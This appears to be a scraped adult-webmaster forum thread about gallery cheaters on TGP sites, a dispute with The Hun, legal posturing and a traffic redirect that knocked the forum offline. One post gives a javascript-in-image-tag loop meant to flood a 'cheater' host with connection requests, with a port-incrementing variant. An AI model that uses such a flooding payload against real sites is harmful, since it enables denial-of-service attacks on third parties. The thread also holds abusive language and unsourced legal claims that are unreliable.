:1orglaugh

People, the guy doesn't drive a Ferrari because he's stupid. :1orglaugh

interesting reference you gave me. You ICQed me and told me to ask shemp about you, I phoned shemp. No reference........

Good story :thumbsup

Shit happens.

TheHun--
Well, we had this debate about http://www.cliphunter.com .
Gotys takes these galleries from other TGPs. Although tgps claim this breaks their TOS. They do nothing, and continue to trade with both his sites.

I think that the gallery links are fair game, but not the descriptions of course. I don't run a tgp btw, so I have no idea about the work invloved in listings. The point of the example, though, is that people tend to justify their behavior by the size of their site or their wallet.

Only "The Shemp" came out and said that it was wrong to steal his listings, all others remained silent.

I'm curious to hear your opinion on this. What action will you take?

hahahahahaha, you really think anyone is stupid enough to believe that if you had a 300k/day tgp it would be anything but hitbot traffic? LOL, don't be stupid.

Upon an e-mail I got about this site I checked it out, but couldn't find any of my links listed there... I took action against people taken my links in the past. One case made it to court. I won 'cause of the (international) database protection laws

TheHun--
So, what do you say to the people that support your cause, i.e. someone breaking your TOS; however, they do not speak out against a similar breaking of TOS, as in the case of cliphunter.

In both cases the TOS are not law.

Mind you, I support cliphunters right to take galleries, just not verbatim descriptions.

The way this cheater is submitting galleries to The Hun looks like he wants to take more than half of The Hun daily listings.

I'm not offering service to anyone taking my links, so this has nothing to do with TOS... this is about law. 3 of 'em. Database protection laws, copyright laws and author's rights. All very clear laws, and very easy to enfource.

http://www.screwthescrewers.com

:smokin

TheHun--
I'm not clear on these laws you speak of. So, you are saying that cliphunter is breaking the law if he is listing sites from other tgps?

Please explain what laws are being broken.

I HIGHLY doubt suing a gallery submitter who changes his galleries would stand up in court. A TGP simply links to other people's sites. What is on those sites at any given time is up to them. A TGP owner has absolutely no legal right to say what someone can and can't do with their own personal webspace they've bought.

TGP's want a LEGAL right to block gallery submitters from changing their galleries? Then have each and every gallery submitter FedEx a contract agreement stating they won't change their gallery after it's approved.

You'd never win in court without such a legal understanding as a signed contract.

This is like saying a phonebook company against listing "immoral" businesses could sue a business 2 months after the book is published because they "changed their business". Give me a break.

And for the record... I am totally against changing galleries (or cheating of any kind), and I'd never do it. I'm just looking at this from a common sense perspective. Running a TGP is a bitch sometimes, and running one with 1m visitors much be a bitch all the time. Deal with it.

FletchXXX--
I know, I saw that url.

My point is that TGP owners rally in support of thehun, on this thing.

But had nothing to say about the link issue, when it was another large site using the links.

:Graucho

The Hun, why not create a system where the webmaster is rated by your script ?

I submit to you since 1999 (now using my real name - Renato - since you ask for it in the form).

For example:

1 star: Had less than 10 galleries approved.
2 stars: 11-20 galleries approved.
3 stars: 21-30 galleries approved.
4 stars: 31-50 galleries approved.
5 stars: 51+ galleries approved.

You could maintain like 30% of the galleries for those with 1 or 2 stars. The other webmasters would take the rest of the non-paid listings.
If the guy is a cheater, he would have just 1 gallery approved of course (so less chances to have his galleries listed)

Just a sugestion.

Jer

That's what I thought. The Hun sent this guy Drawnsex hits/img src or whatever, but that's it!! THAT guy is the asshole who directed it to here!!!!!!!! Why aren't people finding that fuckin asshole? He must be a member, he didn't just guess the gofuckyourself url.

Redirecting people straight to dialers without an explanation of what they are. Linking people who are under the impression they are about to receive a free gallery to a dialer so they'll click, taking adventage of the trust I build up, ruining good reputation, misleading advertising... I don't know if these are all illegal, but throw enough mud and something will stick. I don't mind paying a (good) lawyer if it comes down to it. A cheater like this is costing me money....


I'm talking about simple copyright laws, database protection laws and author's rights. Look 'em up in the legal documents, they should be all there...

same here, my only topics that hit many pages are when i accuse someone....

TheHun--
I've now read it.

It seems, using similar logic as the document presents, as long as some one collects links from a variety of publically available sources that link to publically available sites and reorganizes thier directory in an original manner they are ok. After all, this is what a search engine does.

However, I'm still interested in hearing your opinion on the specific case of cliphunter. As long as he doesn't use your links you don't care?

TheHun, here's a lil snippet of code that was posted on bugtraq some days ago, You might find it usefull ;) ...

[IMG src="javascript"for (i = 1; i <= 5000; i++) {window.location.replace ('file:////www.cheatershost.com/')};')"]

The target will receive a large number connection attempts on port 80. If
port 80 is open on the target IE will also attempt to initiate a WebDAV
session for each request. Resulting in more traffic to the target.

Another way to accomplish this is to use the same peice of javascript but use http://cheatersip: and increment port numbers with the loop.

Cheers,

extreme

Appropriate name servers for this domain:
NS1.THEHUNZ.COM
NS2.THEHUNZ.COM

That was good very fucking good..:thumbsup :thumbsup

With a miilion perm galleries floating around + thousands of sponsor hosted, who in their right mind would want to leach the Huns galleries.

20 emails to the right TGP's will get you enough clean daily galleries to build 10 sites - no need to leach.

That is SO fucked....probably why the board has been down for me :321GFY

Exactly, I wonder how long they're gonna play the game and how long we have to suffer because of this silly shit. Every coule minutes GFY isnt loading for me, dont know bout you guys...

:smokin

GO FUCK YOURSELF FLOPDICK!
AND READ THE WHOLE THREAD YOURSELF!

When I posted my response THE HUN had only made his first post.

I imagine he read his 1st post AND noticed it was lacking information, so he posted another message at the same time I posted mine.

If YOU would have just read the first page of this thread you would have learned this on your own, but since you are too busy wanting to be a DICK and TRY to make me look like an idiot here is another big: GO FUCK YOURSELF!



:321GFY
Cheers!
BV

good point, but does that give you the right to go out
and shoot the guy ?

No but kicking his ass hard won't be a problem

I never say I'm successful. I throw parties for other people who are successful and I have friends who have done very well for themselves, but I don't think I've made it yet.

Obviously you think I'm sucessful...........

Come on dude unban cogent. There has to be some other way.

Why did you take this part out:
"Only someone who's unsuccessful would say that"

Hmm...

>I'm talking about simple copyright laws, database protection
>laws and author's rights. Look 'em up in the legal documents,
>they should be all there...

Hun, you have to sue google - they list (steal?) all galleries submitted to you.

both statements are true

Ahaha... and so are mine.

my congratulations to the gallery builder who managed to have 50 webmasters talking for him

One shouldn't pat himself on the back too often. :winkwink:

What a fucked up situation.

I had fuckin' withdrawl symptons. Hot and cold sweats.. I cried out "go fuck yourself" in my sleep and woke up the neighbours. And then i had some bizarre dream about sucking on Boneprone's nipple.

Anyways, rather than pay per submission, couldn't you setup some sort of monthly subscription fee? If the amount were reasonable, i don't think people would mind if a few of their galleries were denied each month. And if their galleries really were shithouse, you could just send them to your FAQ page, give them a better idea of what you want.

But for the love of god, don't take my daily GFY away.

This is exactly what he's done. And while the little bastard was running away, he dodged left, and the bullet hit Lensman.

'nuff said! I believe they call that manslaughter, or wreckless endangerment..

Serverslaughter? lol

huns lucky his attack tookout GFY, and not FBI.com

fbi.gov smartass

Exactly.

I know 2600 redirected their site to a FBI site on April Fools day saying they had been taken over by the FBi, and dumped a fucklooad of hits on some site.

They were sued but won.

Judge said you can send your traffic wherever you want.

Similar case regarding the URl such as fuckgeneralmotors.com where they were sued as well for pointing it to generalmotors.com Judge again said you can send your traffic wherever you want. As well as URl poitinging, you can point a domain anywhere you want without damage too.

I dont have links but the cases are real, possibly find info on their site since they are proud of it hehehe

Now, that's is fuckin funny

Click at any link at http://drawnsex.com/
it goes to:

http://www.gofuckyourself.com/forumd...php?forumid=26

It always amazes me just how many people are totally jealous of those who have made something of themselves. The sad part is they usually have NO IDEA just how much work it takes EVERY DAY over MANY YEARS to get a real site off the ground and get some real traffic flowing through it. Hammering the hun - someone who goes more than the EXTRA mile for newbies on this issue is soo pathetic it makes me want to cry. He has soooo much patience with you idiots it's incredible. If I was in his position I'd have closed down the submission account years ago and dealt only with people who weren't gona fuck me around. You'd have to jump through a few hoops to get a perferered submitter account, but once you got it there wouldn' t be any worries.

It's soo sad, he does more than MOST estabilshed sites for new webmasters and yet still there are people who bite him in the hand when he offers you a bone to start with.

If you bite the hand that feeds you expect to get smacked. If you bite it again you'll get smacked harder. If you keep biting you'll get put down.

I'd say the CHEATER is lucky he didn't re-direct to that site. Hun didn't do anything wrong.

Fletch,i remember too the 2600 case

You forgot to mention how successful you were. Doh!

Yeah, not the best examples as one is URL pointing and the other Img Srcing, but thought id drop it in the bucket anyhow.

Good reading anyway if ya can find info on it.

you must really think I'm something by the number of times you keep bringing that up. You looking for an autograph or something?

Actually, you just might be on to something here. I hate bringing world politics into this thread, but I'm going to for just a second...

The reasoning you stated above is the EXACT reason all foreign countries (foreign from the United States) hate the United States. They're all jealous of what we have. Plain and simple. Thank fucking God someone other than an American finally admits to it.

Thank you Sleazy, that REALLY made my day.

Ok, back to bashing image sourcing...

EDIT: Had a typo.

I just looked up the thread I started the day they did it, and it was redirecting to

cybercrime.gov

http://gofuckyourself.com/showthread...threadid=55280

;)

Hmmm.. Soul_Rebel... how about if one week.. you start a topic accusing me... and we go back and forth arguing about it all week.. then the next week I'll start one accusing you..... DVD players for everyone!!